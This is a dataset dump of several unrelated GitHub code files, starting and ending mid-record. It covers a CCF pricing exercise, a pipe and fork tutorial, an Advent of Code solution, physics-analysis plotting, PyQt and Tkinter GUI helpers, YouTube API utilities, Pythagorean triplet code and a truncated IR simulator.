输入的第一行包含一个整数n,表示商店的数量。\r\n  第二行包含n个整数,依次表示每个商店第一天的菜价。\r\n输出格式\r\n  输出一行,包含n个正整数,依次表示每个商店第二天的菜价。\r\n样例输入\r\n8\r\n4 1 3 1 6 5 17 9\r\n样例输出\r\n2 2 1 3 4 9 10 13\r\n数据规模和约定\r\n  对于所有评测用例,2 ≤ n ≤ 1000,第一天每个商店的菜价为不��过10000的正整数。\r\n\r\nn>=2,商店数量\r\n\r\n第一天每个菜商的价格\r\n\r\nfirstDayprice=[]\r\n\r\n求每个菜商第二天的菜价\r\n\"\"\"\r\nn=int(input().strip())\r\nfirstDayprice=list(map(int,input().strip().split()))\r\nret=[0 for _ in range(n)]\r\nfor i in range(n):\r\n\tif i==0:\r\n\t\tret[i]=(firstDayprice[i]+firstDayprice[i+1])//2\r\n\telif i==n-1:\r\n\t\tret[i]=(firstDayprice[i]+firstDayprice[i-1])//2\r\n\telse:\r\n\t\tret[i]=(firstDayprice[i+1]+firstDayprice[i]+firstDayprice[i-1])//3\r\nfor inx in range(n-1):\r\n\tprint(ret[inx],'',end='')\r\nprint(ret[-1])\r\n\r\n\r\n","repo_name":"Devinwon/master","sub_path":"coding-exercise/CCF/201809-1.py","file_name":"201809-1.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39775253501","text":"import os\n\n\ndef close_fd(*fd_tuple_args):\n \"\"\"关闭fd,fd_tuple_args是可变参数\"\"\"\n for item in fd_tuple_args:\n os.close(item[0])\n os.close(item[1])\n\n\ndef main():\n # 管道是单向的,相互读写,那就创建两个管道\n fd_tuple1 = os.pipe() # 进程1写,进程2读\n fd_tuple2 = os.pipe() # 进程2写,进程1读\n\n i = 0\n while (i < 2):\n pid = os.fork()\n if pid == 0:\n break\n i += 1\n # 子进程1\n if i == 0:\n print(\"[子进程]pid:%d,ppid:%d\" % (os.getpid(), os.getppid()))\n\n os.close(fd_tuple1[0]) # 进程1写,则关闭下读端\n msg_str = \"进程1说:兄弟,今天撸串吗?\"\n os.write(fd_tuple1[1], msg_str.encode()) # 把字符串xxx转换成bytes\n\n # 不读的我关闭掉:\n os.close(fd_tuple2[1]) # 进程2写,我不需要写,关闭写端\n bts = os.read(fd_tuple2[0], 1024)\n print(\"[子进程1]\", bts.decode())\n\n exit(0) # 退出后就不执行下面代码块语句了\n # 子进程2\n elif i == 1:\n print(\"[子进程2]pid:%d,ppid:%d\" % (os.getpid(), os.getppid()))\n\n os.close(fd_tuple1[1]) # 进程2读,则关闭下写端\n bts = os.read(fd_tuple1[0], 1024)\n print(\"[子进程2]\", bts.decode())\n\n # 不读的我关闭掉:\n os.close(fd_tuple2[0]) # 进程2写,关闭读端\n msg_str = \"进程2说:可以可以~\"\n os.write(fd_tuple2[1], msg_str.encode()) # 把字符串xxx转换成bytes\n\n exit() # 不加参数默认是None\n # 父进程\n elif i == 2:\n print(\"[父进程]pid:%d,ppid:%d\" % (os.getpid(), os.getppid()))\n\n # 父进程不读不写,就看看\n close_fd(fd_tuple1, fd_tuple2)\n\n # 收尸ing\n while True:\n try:\n wpid, status = os.wait()\n print(\"[父进程~收尸]子进程PID:%d 的状态status:%d\" % (wpid, status))\n except OSError:\n break\n # 子进程都exit()退出了,不会执行这句话了\n print(\"[父进程遗言]pid:%d,ppid:%d\" % (os.getpid(), os.getppid()))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"lotapp/BaseCode","sub_path":"python/5.concurrent/Linux/进程通信/3.pipe/3.匿名管道读写通信.py","file_name":"3.匿名管道读写通信.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"zh","doc_type":"code","stars":25,"dataset":"github-code","pt":"61"} +{"seq_id":"14126507002","text":"import sys\n\nimport utils\n\ntest_mode = len(sys.argv) > 1\nif test_mode:\n suffix = sys.argv[2] if len(sys.argv) > 2 else \"\"\n input_file = f\"day18_test_input{suffix}.txt\"\nelse:\n input_file = f\"day18_input.txt\"\n\ndata = utils.input_as_lines(input_file)\n\n\ndef find_loop(positions_touched):\n # Work across rows to determine which positions are inside path\n x_vals = [int(p.real) for p in positions_touched]\n y_vals = [int(p.imag) for p in positions_touched]\n x_range = range(min(x_vals), max(x_vals) + 1)\n y_range = range(min(y_vals), max(y_vals) + 1)\n\n total = 0\n for j in y_range:\n line_total = 0\n in_loop = False\n # s = \"\" # For debugging\n for i in x_range:\n if complex(i, j) in positions_touched:\n # Check if there's a line N of here - if so, change state\n if complex(i, j - 1) in positions_touched:\n in_loop = not in_loop\n\n if complex(i, j) in positions_touched or in_loop:\n total += 1\n line_total += 1\n\n # s += '#' if complex(i, j) in positions_touched else '.'\n # print(s, line_total)\n return total\n\n\ndef find_loop2(path: list):\n # breakpoint()\n # Path is a list of corners touched in order, not every tile touched\n # Work across rows to determine which positions are inside path\n x_vals = sorted(set([int(p.real) for p in path]))\n y_vals = sorted(set([int(p.imag) for p in path]))\n x_range = range(min(x_vals), max(x_vals) + 1)\n y_range = range(min(y_vals), max(y_vals) + 1)\n\n total = 0\n for y_idx, j in enumerate(y_vals):\n line_total = 0\n in_loop = False\n # s = \"\" # For debugging\n i = x_vals[0]\n x_idx = 0\n while i < x_vals[-1] and x_idx < len(x_vals):\n print(f\"({i}, {j})\")\n i = x_vals[x_idx]\n if complex(i, j) in path:\n # we're at a corner - check which way\n path_index = path.index(complex(i, j))\n next_pos = path[path_index + 1 % len(path)]\n prev_pos = path[path_index - 1 % len(path)]\n if next_pos.imag == j or prev_pos.imag == j:\n # Next pos is on the same row, so add distance between them to total\n if next_pos.imag == j:\n line_total += abs(next_pos.real - i) + 1\n i = max(next_pos.real, i)\n else:\n line_total += abs(prev_pos.real - i) + 1\n i = max(prev_pos.real, i)\n # breakpoint()\n print(f\"x_idx is: {x_idx}\")\n x_idx = next(\n (x_idx + idx for idx, x in enumerate(x_vals[x_idx:]) if x >= i),\n len(x_vals),\n )\n print(f\"x_idx now {x_idx} (after incrementing for i)\")\n in_loop = True\n else:\n # Next pos is up or down\n line_total += 1\n in_loop = not in_loop\n\n elif in_loop:\n print(f\"in loop, {i}, {j}, adding \", (i - x_vals[x_idx - 1]))\n line_total += i - x_vals[x_idx - 1]\n # breakpoint()\n\n # increase index\n x_idx += 1\n\n print(\"Line total\", j, line_total)\n # duplicate line_value until next y_val\n if y_idx < len(y_vals) - 1:\n # FIXME: can't do this - see row 3 in example\n # Just use every y?\n print(f\"Adding next {(y_vals[y_idx+1] - j - 1)} rows with same total\")\n total += (y_vals[y_idx + 1] - j - 1) * line_total\n\n return total\n\n\ndirection_map = {\"R\": 1, \"L\": -1, \"D\": 1j, \"U\": -1j}\npos = 0\npositions_touched = {pos}\npath = [0]\nfor line in data:\n direction, steps, colour = line.split(\" \")\n step = direction_map[direction]\n n_steps = int(steps)\n path.append(pos + n_steps * step)\n for i in range(n_steps):\n pos += step\n positions_touched.add(pos)\n\np1_total = find_loop(positions_touched)\nprint(f\"Part 1: {p1_total}\")\n\np1_total_2 = find_loop2(path)\nprint(f\"Part 1 (using find_loop2): {p1_total_2}\")\n\n\n# Part 2\ndirection_map2 = {\"0\": 1, \"1\": 1j, \"2\": -1, \"3\": -1j}\n\npos = 0\npath = [0]\nfor line in data:\n # print(line.rsplit(' ', maxsplit=1))\n instruction = line.rsplit(\" \", maxsplit=1)[1]\n n_steps = int(instruction[2:7], 16)\n step = direction_map2[instruction[7]]\n # print(n_steps, step)\n\n pos += n_steps * step\n path.append(pos)\n\n# Too slow for part 2; Change this to a sparse map and just keep track of corners/directions?\n\n# p2_total = find_loop2(positions_touched)\n# print(f\"Part 2: {p2_total}\")\n","repo_name":"alisonrclarke/advent-of-code-2023","sub_path":"day18.py","file_name":"day18.py","file_ext":"py","file_size_in_byte":4748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11967701241","text":"import hipe4ml.plot_utils as pu\nimport hipe4ml.analysis_utils as au\nfrom hipe4ml.tree_handler import TreeHandler\nimport matplotlib.pyplot as plt\nimport matplotlib.backends.backend_pdf\n\nresults_dir = \"../../Results/\"\npdf = matplotlib.backends.backend_pdf.PdfPages(results_dir + \"distributions.pdf\")\n\ndef rename_df_columns(hndl):\n df = hndl.get_data_frame()\n rename_dict = {}\n\n for col in df.columns:\n\n if col.endswith('_f'):\n rename_dict[col] = col[:-2]\n if col.startswith('tpc_clus'):\n rename_dict[col] = 'tpc_ncls' + col[-5:-2]\n if col== 'tpc_sig_pi_f':\n rename_dict[col] = 'tpc_nsig_pi'\n \n df.rename(columns = rename_dict, inplace=True)\n\ncolumn = [\"m\", \"pt\",\"cos_pa\", \"tpc_ncls_de\", \"tpc_ncls_pr\",\"tpc_ncls_pi\",\"tpc_nsig_de\",\"tpc_nsig_pr\",\"tpc_nsig_pi\", \"dca_de\", \"dca_pr\", \"dca_pi\",\"dca_de_pr\",\"dca_de_pi\",\"dca_pr_pi\",\"dca_de_sv\",\"dca_pr_sv\",\"dca_pi_sv\",\"chi2\",\"cos_theta_ppi_H\"]\n\npath_to_data = \"/data/fmazzasc/PbPb_3body/pass3/tables/\"\ndataH = TreeHandler(path_to_data + \"HypDataTable_data.root\", \"DataTable\", entry_stop=1e6)\nlsH = TreeHandler(path_to_data + \"HypDataTable_ls_rot.root\", \"DataTable\", entry_stop=1e6)\nlsH_non_rot = lsH.apply_preselections(\"rotation_f==0\", inplace=False)\nlsH_old = TreeHandler(path_to_data + \"HypDataTable_ls.root\", \"DataTable\", entry_stop=1e6)\nemH = TreeHandler(path_to_data + \"HypDataTable_em.root\", \"DataTable\", entry_stop=1e6)\nsignalH = TreeHandler(path_to_data + \"SignalTable_20g7.root\", \"SignalTable\", entry_stop=1e6)\nsignalH.apply_preselections(\"pt>0 and bw_accept==True and cos_pa>0\")\n\n\nrename_df_columns(dataH)\nrename_df_columns(lsH)\nrename_df_columns(lsH_non_rot)\nrename_df_columns(lsH_old)\nrename_df_columns(emH)\nrename_df_columns(signalH)\n\n\npu.plot_distr([signalH, dataH], column=column,labels=[\"Sig\", \"Data\"], log=True, density=True, figsize=(20, 20), alpha=0.3, grid=False)\npdf.savefig()\n\npu.plot_distr([dataH, lsH],column=column,labels=[\"Data\", \"LS + Rotation\"], log=True, density=True, figsize=(20, 20), alpha=0.3, grid=False)\npdf.savefig()\n\npu.plot_distr([dataH, lsH_non_rot],column=column,labels=[\"Data\", \"LS\"], log=True, density=True, figsize=(20, 20), alpha=0.3, grid=False)\npdf.savefig()\n\npu.plot_distr([dataH, lsH_old],column=column,labels=[\"Data\", \"LS OLD\"], log=True, density=True, figsize=(20, 20), alpha=0.3, grid=False)\npdf.savefig()\n\npu.plot_distr([lsH_old, lsH],column=column,labels=[\"LS OLD\", \"LS + Rotation\"], log=True, density=True, figsize=(20, 20), alpha=0.3, grid=False)\npdf.savefig()\n\npu.plot_distr([lsH_non_rot, lsH],column=column,labels=[\"LS\", \"LS + Rotation\"], log=True, density=True, figsize=(20, 20), alpha=0.3, grid=False)\npdf.savefig()\n\n\n# pu.plot_distr([dataH, emH],column=column,labels=[\"Data\", \"EM\"], log=True, density=True, figsize=(20, 20), alpha=0.3, grid=False)\n# pdf.savefig()\n\n# pu.plot_distr([lsH, emH],column=column,labels=[\"LS + Rotation\", \"EM\"], log=True, density=True, figsize=(20, 20), alpha=0.3, grid=False)\n# pdf.savefig()\n\npdf.close()","repo_name":"fmazzasc/Hypertriton3Body","sub_path":"Analysis/Checks/compare_features.py","file_name":"compare_features.py","file_ext":"py","file_size_in_byte":3000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"739329325","text":"__author__ = 'George Dimitriadis'\n\n\n\nfrom PyQt5 import QtWidgets\nfrom GUIs.DataFrameViewer.ui_dataframeviewer import Ui_PandasDataFrameViewer\nimport sys\n\n\ndef view_dataframe(df):\n app = QtWidgets.QApplication(sys.argv)\n window = QtWidgets.QMainWindow()\n ui = Ui_PandasDataFrameViewer()\n ui.setupUi(window)\n\n datatable = ui.table_dataframe_viewer\n datatable.setRowCount(len(df.index))\n datatable.setVerticalHeaderLabels([str(x) for x in df.index])\n\n name = df.__module__\n if \"series\" in name:\n datatable.setColumnCount(1)\n datatable.setHorizontalHeaderLabels(\"Series\")\n for i in range(len(df.index)):\n datatable.setItem(i, 0, QtWidgets.QTableWidgetItem(str(df.iget_value(i))))\n elif \"frame\" in name:\n datatable.setColumnCount(len(df.columns))\n datatable.setHorizontalHeaderLabels([str(x) for x in df.columns])\n datatable.setVerticalHeaderLabels([str(x) for x in df.index])\n for i in range(len(df.index)):\n for j in range(len(df.columns)):\n datatable.setItem(i, j, QtWidgets.QTableWidgetItem(str(df.iget_value(i, j))))\n\n window.show()\n app.exec_()","repo_name":"georgedimitriadis/themeaningofbrain","sub_path":"GUIs/DataFrameViewer/gui_data_frame_viewer.py","file_name":"gui_data_frame_viewer.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"5859405319","text":"import re\r\nimport numpy as np\r\nimport requests\r\nfrom PIL import Image\r\nimport numpy as np\r\nfrom io import BytesIO\r\nfrom googleapiclient.discovery import build\r\n\r\n\r\ndef _convert_duration_to_minutes(duration):\r\n hours = 0\r\n minutes = 0\r\n seconds = 0\r\n hours_match = re.search(r\"(\\d+)H\", duration)\r\n minutes_match = re.search(r\"(\\d+)M\", duration)\r\n seconds_match = re.search(r\"(\\d+)S\", duration)\r\n if hours_match:\r\n hours = int(hours_match.group(1))\r\n if minutes_match:\r\n minutes = int(minutes_match.group(1))\r\n if seconds_match:\r\n seconds = int(seconds_match.group(1))\r\n total_minutes = hours * 60 + minutes + seconds / 60\r\n return total_minutes\r\n\r\n\r\ndef find_outperformed_videos(data, threshold=1.5):\r\n q3 = np.percentile(data, 75)\r\n iqr = q3 - np.percentile(data, 25)\r\n upper_threshold = q3 + threshold * iqr\r\n outlier_indices = [\r\n index for index, value in enumerate(data) if value > upper_threshold\r\n ]\r\n return outlier_indices\r\n\r\n\r\ndef url_to_numpy_array(url):\r\n response = requests.get(url)\r\n if response.status_code == 200:\r\n img = Image.open(BytesIO(response.content))\r\n img_array = np.array(img)\r\n return img_array\r\n else:\r\n print(\"Failed to fetch image\")\r\n return None\r\n\r\n\r\nAPI_KEY = \"API_KEY\"\r\nAPI_SERVICE_NAME = \"youtube\"\r\nAPI_VERSION = \"v3\"\r\n\r\nyoutube = build(API_SERVICE_NAME, API_VERSION, developerKey=API_KEY)\r\n\r\n\r\ndef get_channel_stats(channel_ids):\r\n request = youtube.channels().list(\r\n part=\"snippet,contentDetails,statistics\", id=\",\".join(channel_ids)\r\n )\r\n response = request.execute()\r\n\r\n all_data = []\r\n for i in range(len(response[\"items\"])):\r\n data = {\r\n \"channel_name\": response[\"items\"][i][\"snippet\"][\"title\"],\r\n \"subscribers\": response[\"items\"][i][\"statistics\"][\"subscriberCount\"],\r\n \"views\": response[\"items\"][i][\"statistics\"][\"viewCount\"],\r\n \"total_videos\": response[\"items\"][i][\"statistics\"][\"videoCount\"],\r\n \"playlist_id\": response[\"items\"][i][\"contentDetails\"][\"relatedPlaylists\"][\r\n \"uploads\"\r\n ],\r\n }\r\n all_data.append(data)\r\n\r\n return all_data\r\n\r\n\r\ndef get_video_ids(playlist_id):\r\n request = youtube.playlistItems().list(\r\n part=\"contentDetails\", playlistId=playlist_id, maxResults=50\r\n )\r\n response = request.execute()\r\n\r\n video_ids = []\r\n for i in range(len(response[\"items\"])):\r\n video_ids.append(response[\"items\"][i][\"contentDetails\"][\"videoId\"])\r\n\r\n next_page_token = response.get(\"nextPageToken\")\r\n\r\n while next_page_token is not None:\r\n request = youtube.playlistItems().list(\r\n part=\"contentDetails\",\r\n playlistId=playlist_id,\r\n maxResults=50,\r\n pageToken=next_page_token,\r\n )\r\n response = request.execute()\r\n\r\n for i in range(len(response[\"items\"])):\r\n video_ids.append(response[\"items\"][i][\"contentDetails\"][\"videoId\"])\r\n\r\n next_page_token = response.get(\"nextPageToken\")\r\n\r\n return video_ids\r\n\r\n\r\ndef get_video_details(video_ids):\r\n all_video_details = []\r\n for i in range(0, len(video_ids), 50):\r\n request = youtube.videos().list(\r\n part=\"snippet,statistics,contentDetails\", id=\",\".join(video_ids[i : i + 50])\r\n )\r\n response = request.execute()\r\n\r\n for video in response[\"items\"]:\r\n video_detail = {\r\n # \"title\": video[\"snippet\"][\"title\"],\r\n \"published_date\": video[\"snippet\"][\"publishedAt\"],\r\n \"tumbnail_url\": video[\"snippet\"][\"thumbnails\"][\"high\"][\"url\"],\r\n \"category_id\": video[\"snippet\"][\"categoryId\"],\r\n \"views\": video[\"statistics\"].get(\"viewCount\"),\r\n \"likes\": video[\"statistics\"].get(\"likeCount\"),\r\n \"comments_count\": video[\"statistics\"].get(\"commentCount\"),\r\n \"video_duration\": _convert_duration_to_minutes(\r\n video[\"contentDetails\"][\"duration\"]\r\n ),\r\n }\r\n all_video_details.append(video_detail)\r\n\r\n return all_video_details\r\n\r\n\r\ndef get_channels(search_query):\r\n channel_ids = []\r\n\r\n request = youtube.search().list(\r\n part=\"snippet\",\r\n q=search_query,\r\n type=\"channel\",\r\n maxResults=50,\r\n )\r\n response = request.execute()\r\n\r\n for item in response[\"items\"]:\r\n channel_ids.append(item[\"id\"][\"channelId\"])\r\n\r\n channel_ids = list(set(channel_ids))\r\n return channel_ids\r\n","repo_name":"RP28/YT_data_study","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":4594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28067283986","text":"def primitive_triplets(b_num):\n if invalid_b_input(b_num):\n raise ValueError('B input is invalid.')\n\n triplets = set()\n for m in range(1, (b_num // 2) + 1):\n n = b_num // (m * 2)\n\n if b_num % (m * 2) == 0 and m > n and are_coprime(m, n):\n sizes = sorted(define_abc_from_nm(m, n))\n triplets.add((sizes[0], sizes[1], sizes[2]))\n\n return triplets\n\n\ndef invalid_b_input(b):\n return b % 4 != 0\n\n\ndef are_coprime(m, n):\n for mmc in range(2, n + 1):\n if m % mmc == 0 and n % mmc == 0:\n return False\n return True\n\n\ndef define_abc_from_nm(m, n):\n return [m ** 2 + n ** 2, m * n * 2, m ** 2 - n ** 2]\n\n\ndef triplets_in_range(start, end):\n triplets = set()\n\n for a in range(start, end + 1):\n for b in range(a, end + 1):\n for c in range(b, end + 1):\n if is_triplet([a, b, c]):\n triplets.add((a, b, c))\n\n return triplets\n\n\ndef is_triplet(triplet):\n to_test = sorted(triplet)\n return to_test[0] ** 2 + to_test[1] ** 2 == to_test[2] ** 2\n","repo_name":"guilhermegonc/exercism","sub_path":"python/pythagorean-triplet/pythagorean_triplet.py","file_name":"pythagorean_triplet.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"17156700537","text":"from .tkimports import *\nfrom . import globalimports as _g\nfrom .scrollbar import AutoScrollbar\n\nclass window(tkinter.Tk):\n def __init__(self, title=\"Window\", **kw):\n tkinter.Tk.__init__(self)\n self.title(title)\n self.kw = kw\n\n def __enter__(self):\n\n # create scroll bar\n self.vscrollbar = AutoScrollbar(self)\n self.vscrollbar.grid(row=0, column=1, sticky=N+S)\n\n # create canvas\n self.canvas = tkinter.Canvas(self,\n yscrollcommand=self.vscrollbar.set, bd=5)\n self.canvas.grid(row=0, column=0, sticky=N+S+E+W)\n\n # configure scroll bar for canvas\n self.vscrollbar.config(command=self.canvas.yview)\n\n # make the canvas expandable\n self.grid_rowconfigure(0, weight=1)\n self.grid_columnconfigure(0, weight=1)\n\n # create frame in canvas\n self.frame = tkinter.Frame(self.canvas)\n self.frame.columnconfigure(0, weight=1)\n self.frame.columnconfigure(1, weight=1)\n\n\n _g.pack_side = TOP\n _g.root = self.frame\n return self # was _g.root for some reason\n\n def __exit__(self, type, value, traceback):\n\n # puts tkinter widget onto canvas\n self.canvas.create_window(0, 0, anchor=NW, window=self.frame, width = int(self.canvas.config()['width'][4])-int(self.vscrollbar.config()['width'][4]))\n\n # deal with canvas being resized\n def resize_canvas(event):\n self.canvas.create_window(0, 0, anchor=NW, window=self.frame, width = int(event.width)-int(self.vscrollbar.config()['width'][4]))\n self.canvas.bind(\"\", resize_canvas)\n\n # updates geometry management\n self.frame.update_idletasks()\n\n # set canvas scroll region to all of the canvas\n self.canvas.config(scrollregion=self.canvas.bbox(\"all\"))\n\n # set minimum window width\n self.update()\n self.minsize(self.winfo_width(), 0)\n self.config(**self.kw)\n\n self.frame.update()\n\n # start mainloop\n self.mainloop()\n\n # window closed...\n\n _g.pack_side = None\n\n # stop all ongoing _g.events\n [event.set() for event in _g.events]\n","repo_name":"shuvoklown/TaskManagerApp","sub_path":"venv/Lib/site-packages/sneakers/window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":2192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3998011468","text":"import sys, os, platform\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\nimport ui_mainwindow, resources_rc\n\n__version__ = \"1.0.2\"\n\nclass IRSyntaxError(Exception): pass\nclass DuplicatedLabelError(Exception): pass\nclass UndefinedLabelError(Exception): pass\nclass DuplicatedVariableError(Exception): pass\nclass CurrentFunctionNoneError(Exception): pass\n\nclass IRSim(QMainWindow, ui_mainwindow.Ui_MainWindow):\n\tdef __init__(self, parent=None):\n\t\tsuper(IRSim, self).__init__(parent)\n\t\t\n\t\t# Some brushes\n\t\tself.cyanBrush = QBrush(Qt.cyan)\n\t\tself.yellowBrush = QBrush(Qt.yellow)\n\t\tself.noBrush = QBrush()\n\t\t\n\t\t# Read the UI design from Qt Designer file\n\t\tself.setupUi(self)\n\t\tself.rowLabel = QLabel()\n\t\tself.rowLabel.setFrameStyle(QFrame.StyledPanel|QFrame.Sunken)\n\t\tself.statusBar().addPermanentWidget(self.rowLabel)\n\t\t\n\t\t# Initialize some values\n\t\tself.initialize()\n\t\t\n\t\t# Connect the signals with desired slots\n\t\tself.connect(self.actionQuit, SIGNAL('triggered()'), self.close)\n\t\tself.connect(self.action_Open, SIGNAL('triggered()'), self.fileOpen)\n\t\tself.connect(self.actionRun, SIGNAL('triggered()'), self.run)\n\t\tself.connect(self.actionStop, SIGNAL('triggered()'), self.stop)\n\t\tself.connect(self.actionStep, SIGNAL('triggered()'), self.step)\n\t\tself.connect(self.actionAbout, SIGNAL('triggered()'), self.helpAbout)\n\t\tself.connect(self.codeList, SIGNAL('currentRowChanged(int)'), self.updateRowLabel)\n\n\t# Open an existing IR file\n\tdef fileOpen(self):\n\t\tif not self.okToContinue():\n\t\t\treturn\n\t\tdir = '.' if self.filename is None else os.path.dirname(self.filename)\n\t\tfname = unicode(QFileDialog.getOpenFileName(self,\n\t\t\t\t\"IR Simulator - Open IR file\", dir,\n\t\t\t\t\"IR files (*.ir)\"))\n\t\tif fname:\n\t\t\tself.initialize()\n\t\t\tself.loadFile(fname)\n\t\t\t\n\t# Initialize the VM settings\n\tdef initialize(self):\n\t\tself.filename = None\n\t\tself.ip = -1\n\t\tself.entranceIP = -1\n\t\tself.pauseRunning = False\n\t\tself.offset = 0\n\t\tself.instrCnt = 0\n\t\tself.codes = list()\n\t\tself.mem = None\n\t\tself.functionDict = dict()\n\t\tself.currentFunction = None\n\t\tself.symTable = dict()\n\t\tself.labelTable = dict()\n\t\tself.callStack = list()\n\t\tself.argumentStack = list()\n\t\tself.codeList.clear()\n\t\tself.watchTable.setRowCount(0)\n\t\tself.watchTable.clearContents()\n\t\tself.console.clear()\n\t\tself.updateStatus(None)\n\t\n\t# Load the contents of the file\n\tdef loadFile(self, fname):\n\t\tfp = open(fname, 'r')\n\t\tlineno = 0\n\t\tfor line in fp:\n\t\t\tif line.isspace(): continue\n\t\t\tif self.sanity_check(line, lineno):\n\t\t\t\tself.codeList.addItem(line.strip().replace('\\t', ' '))\n\t\t\telse:\n\t\t\t\tbreak\n\t\t\tlineno += 1\n\t\telse:\n\t\t\tself.filename = fname\n\t\t\tself.lineno = lineno\n\t\tfp.close()\n\t\tif self.entranceIP == -1:\n\t\t\tQMessageBox.critical(self, 'Error', 'Cannot find program entrance. Please make sure the \\'main\\' function does exist.')\n\t\tif (self.filename is None) or (not self.labelCheck()) or (self.offset > 0x100000) or (self.entranceIP == -1):\n\t\t\tself.updateStatus('Loading failed.')\n\t\t\tself.initialize()\n\t\t\treturn\n\t\t\n\t\tself.mem = [0] * 262144\n\t\tself.displayWatchTable()\n\t\tself.updateStatus('File loaded successfully.')\n\t\t\n\t# Run the codes\n\tdef run(self):\n\t\tself.stop()\n\t\tself.ip = self.entranceIP\n\t\twhile True:\n\t\t\tif self.ip < 0 or self.ip >= len(self.codes):\n\t\t\t\terror_code = 3\n\t\t\t\tbreak\n\t\t\tcode = self.codes[self.ip]\n\t\t\terror_code = self.execute_code(code)\t\t# error_code : [0=nextIR; 1=finish; 2=memAccessError; 3=IPError]\n\t\t\tif error_code > 0:\n\t\t\t\tbreak\n\t\t\tself.ip += 1\n\t\tif error_code == 1:\n\t\t\tQMessageBox.information(self, 'Finish', 'Program has exited gracefully.\\nTotal instructions = %d' % self.instrCnt)\n\t\t\tself.updateStatus('Simulation OK. Instruction count = %d' % self.instrCnt)\n\t\telif error_code == 2:\n\t\t\tQMessageBox.critical(self, 'Error', 'An error occurred at line %d: Illegal memory access. \\nIf this message keeps popping out, please reload the source file' % (self.ip+1))\n\t\t\tself.updateStatus('Simulation failed: Memory access out of bound.')\n\t\telif error_code == 3:\n\t\t\tQMessageBox.warning(self, 'Warning', 'Program Counter goes out of bound. The running program will be terminated instantly.')\n\t\t\tself.updateStatus('Simulation failed: PC error.')\n\t\tself.watchTable.setRowCount(0)\n\t\tself.displayWatchTable()\n\t\tself.ip = -1\n\t\t\n\t# Stop the running\n\tdef stop(self):\n\t\tif self.ip != -1:\n\t\t\tself.codeList.item(self.ip).setBackground(self.noBrush)\n\t\tself.ip = -1\n\t\tself.instrCnt = 0\n\t\tself.pauseRunning = False\n\t\tself.watchTable.setRowCount(0)\n\t\tself.mem = [0] * 262144\n\t\tself.callStack = list()\n\t\tself.argumentStack = list()\n\t\tself.displayWatchTable()\n\t\tself.codeList.setCurrentRow(-1)\n\t\tself.console.clear()\n\t\t\n\t# Step by step\n\tdef step(self):\n\t\tif self.ip == -1:\n\t\t\tself.stop()\n\t\t\tself.pauseRunning = True\n\t\t\tself.ip = self.entranceIP - 1\n\t\telse:\n\t\t\tself.codeList.item(self.ip).setBackground(self.noBrush)\n\t\tself.ip += 1\n\t\tif self.ip < 0 or self.ip >= len(self.codes):\n\t\t\tQMessageBox.warning(self, 'Warning', 'Program Counter goes out of bound. The running program will be terminated instantly.')\n\t\t\tself.updateStatus('Simulation failed: PC error.')\n\t\t\tself.ip = -1\n\t\t\tself.pauseRunning = False\n\t\t\treturn\n\t\tcode = self.codes[self.ip]\n\t\terror_code = self.execute_code(code)\n\t\tif error_code == 1:\n\t\t\tQMessageBox.information(self, 'Finish', 'Program has exited gracefully.\\nTotal instructions = %d' % self.instrCnt)\n\t\t\tself.updateStatus('Simulation OK. Instruction count = %d' % self.instrCnt)\n\t\t\tself.ip = -1\n\t\t\tself.pauseRunning = False\n\t\telif error_code == 2:\n\t\t\tQMessageBox.critical(self, 'Error', 'An error occurred at line %d: Illegal memory access' % (self.ip+1))\n\t\t\tself.updateStatus('Simulation failed: Memory access out of bound')\n\t\t\tself.ip = -1\n\t\t\tself.pauseRunning = False\n\t\telse:\n\t\t\tself.codeList.item(self.ip).setBackground(self.cyanBrush)\n\t\t\tself.codeList.setCurrentRow(self.ip)\n\t\tself.watchTable.setRowCount(0)\n\t\tself.displayWatchTable()\n\t\t\n\t# Display the ABOUT dialog\n\tdef helpAbout(self):\n\t\tQMessageBox.about(self, \"About IR Simulator\",\n\t\t\t\t\"\"\"IR Simulator v {0}\n\t\t\t\t

Copyright © 2012 Grieve. \n\t\t\t\tAll rights reserved.\n\t\t\t\t

This application can be used to simulate the IR \n\t\t\t\tdesigned for the Compiler course here at NJU.\n\t\t\t\t

Python {1} - Qt {2} - PyQt {3} on {4}\"\"\".format(\n\t\t\t\t__version__, platform.python_version(),\n\t\t\t\tQT_VERSION_STR, PYQT_VERSION_STR,\n\t\t\t\tplatform.system()))\n\t\n\t# When current file is running, warn the user when he want to open a new file\n\tdef okToContinue(self):\n\t\tif self.ip != -1:\n\t\t\treply = QMessageBox.question(self,\n\t\t\t\t\t'IR Simulator - Warning',\n\t\t\t\t\t'You are running a file currently. Stop the running and proceed?',\n\t\t\t\t\tQMessageBox.Yes|QMessageBox.No)\n\t\t\tif reply == QMessageBox.No:\n\t\t\t\treturn False\n\t\t\tself.ip = -1;\n\t\treturn True\n\n\t# Update status bar, window title and enable actions\n\tdef updateStatus(self, message):\n\t\tif message: self.statusBar().showMessage(message, 5000)\n\t\tif self.filename is None:\n\t\t\tself.setWindowTitle('IR Simulator')\n\t\t\tself.actionRun.setEnabled(False)\n\t\t\tself.actionStop.setEnabled(False)\n\t\t\tself.actionStep.setEnabled(False)\n\t\telse:\n\t\t\tself.setWindowTitle('IR Simulator - {0}'.format(os.path.basename(self.filename)))\n\t\t\tself.actionRun.setEnabled(True)\n\t\t\tself.actionStop.setEnabled(True)\n\t\t\tself.actionStep.setEnabled(True)\n\t\t\t\n\t# Update selected line in codeList\n\tdef updateRowLabel(self):\n\t\trow = self.codeList.currentRow()\n\t\tif row >= 